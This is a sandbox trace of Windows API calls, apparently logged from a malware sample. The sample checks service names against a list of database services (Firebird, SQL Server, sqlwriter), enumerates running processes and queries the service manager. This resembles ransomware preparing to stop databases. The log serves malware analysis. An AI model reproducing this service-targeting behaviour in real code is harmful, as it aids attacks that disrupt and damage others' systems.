1 [0184.027] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0184.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0184.027] lstrlenW (lpString="NlaSvc") returned 6 [0184.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0184.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0184.027] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0184.027] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0184.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0184.027] lstrlenW (lpString="nsi") returned 3 [0184.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0184.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0184.028] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0184.028] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0184.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0184.028] lstrlenW (lpString="PcaSvc") returned 6 [0184.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0184.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0184.073] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0184.073] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0184.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0184.073] lstrlenW (lpString="PlugPlay") returned 8 [0184.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0184.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0184.073] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0184.073] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0184.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0184.073] lstrlenW (lpString="Power") returned 5 [0184.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0184.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0184.073] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0184.073] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0184.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0184.073] lstrlenW (lpString="ProfSvc") returned 7 [0184.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0184.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0184.074] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0184.074] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0184.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0184.074] lstrlenW (lpString="RpcEptMapper") returned 12 [0184.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0184.074] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0184.074] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0184.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0184.074] lstrlenW (lpString="RpcSs") returned 5 [0184.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0184.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0184.074] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0184.074] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0184.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0184.074] lstrlenW (lpString="SamSs") returned 5 [0184.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0184.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0184.074] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0184.074] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0184.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0184.074] lstrlenW (lpString="Schedule") returned 8 [0184.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0184.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0184.074] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0184.074] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0184.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0184.074] lstrlenW (lpString="SecurityHealthService") returned 21 [0184.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0184.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0184.075] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0184.075] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0184.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0184.075] lstrlenW (lpString="SENS") returned 4 [0184.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0184.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0184.075] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0184.075] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0184.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0184.075] lstrlenW (lpString="ShellHWDetection") returned 16 [0184.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0184.075] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0184.075] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0184.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0184.075] lstrlenW (lpString="Spooler") returned 7 [0184.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0184.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0184.075] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0184.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0184.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0184.076] lstrlenW (lpString="StateRepository") returned 15 [0184.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0184.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0184.076] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0184.076] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0184.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0184.076] lstrlenW (lpString="SysMain") returned 7 [0184.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0184.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0184.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0184.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0184.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0184.076] lstrlenW (lpString="SystemEventsBroker") returned 18 [0184.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0184.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0184.076] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0184.076] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0184.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0184.076] lstrlenW (lpString="Themes") returned 6 [0184.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0184.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0184.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0184.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0184.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0184.076] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0184.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0184.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0184.076] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0184.076] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0184.077] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x456ac70 | out: hHeap=0x420000) returned 1 [0184.077] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x518 [0184.084] Process32FirstW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.084] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0184.085] lstrlenW (lpString="System") returned 6 [0184.085] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0184.085] lstrlenW (lpString="smss.exe") returned 8 [0184.085] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.086] lstrlenW (lpString="csrss.exe") returned 9 [0184.086] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0184.086] lstrlenW (lpString="wininit.exe") returned 11 [0184.086] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0184.086] lstrlenW (lpString="csrss.exe") returned 9 [0184.087] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0184.087] lstrlenW (lpString="winlogon.exe") returned 12 [0184.087] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0184.087] lstrlenW (lpString="services.exe") returned 12 [0184.087] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0184.088] lstrlenW (lpString="lsass.exe") returned 9 [0184.088] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0184.088] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0184.088] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0184.089] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0184.089] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.089] lstrlenW (lpString="svchost.exe") returned 11 [0184.089] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.089] lstrlenW (lpString="svchost.exe") returned 11 [0184.090] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0184.090] lstrlenW (lpString="dwm.exe") returned 7 [0184.090] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.091] lstrlenW (lpString="svchost.exe") returned 11 [0184.091] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.091] lstrlenW (lpString="svchost.exe") returned 11 [0184.091] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.092] lstrlenW (lpString="svchost.exe") returned 11 [0184.092] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.092] lstrlenW (lpString="svchost.exe") returned 11 [0184.092] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.092] lstrlenW (lpString="svchost.exe") returned 11 [0184.092] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.093] lstrlenW (lpString="svchost.exe") returned 11 [0184.093] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.093] lstrlenW (lpString="svchost.exe") returned 11 [0184.093] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.094] lstrlenW (lpString="svchost.exe") returned 11 [0184.094] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.094] lstrlenW (lpString="svchost.exe") returned 11 [0184.094] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.095] lstrlenW (lpString="svchost.exe") returned 11 [0184.095] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0184.095] lstrlenW (lpString="spoolsv.exe") returned 11 [0184.095] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.095] lstrlenW (lpString="svchost.exe") returned 11 [0184.095] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0184.096] lstrlenW (lpString="audiodg.exe") returned 11 [0184.096] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0184.096] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0184.096] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0184.097] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0184.097] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0184.097] lstrlenW (lpString="Memory Compression") returned 18 [0184.097] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0184.098] lstrlenW (lpString="sihost.exe") returned 10 [0184.098] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0184.098] lstrlenW (lpString="svchost.exe") returned 11 [0184.098] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0184.098] lstrlenW (lpString="taskhostw.exe") returned 13 [0184.098] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0184.099] lstrlenW (lpString="msoia.exe") returned 9 [0184.099] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0184.099] lstrlenW (lpString="explorer.exe") returned 12 [0184.099] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0184.100] lstrlenW (lpString="SearchUI.exe") returned 12 [0184.100] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0184.100] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0184.100] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0184.101] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0184.101] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0184.101] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0184.101] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0184.101] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0184.101] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0184.102] lstrlenW (lpString="cmd.exe") returned 7 [0184.102] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0184.102] lstrlenW (lpString="conhost.exe") returned 11 [0184.102] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0184.103] lstrlenW (lpString="mode.com") returned 8 [0184.103] Process32NextW (in: hSnapshot=0x518, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0184.103] CloseHandle (hObject=0x518) returned 1 [0184.103] Sleep (dwMilliseconds=0x1f4) [0184.634] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447af90 [0184.635] EnumServicesStatusExW (in: hSCManager=0x447af90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0184.635] GetLastError () returned 0xea [0184.635] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c94) returned 0x45b20d8 [0184.635] EnumServicesStatusExW (in: hSCManager=0x447af90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45b20d8, cbBufSize=0x1c94, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45b20d8, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 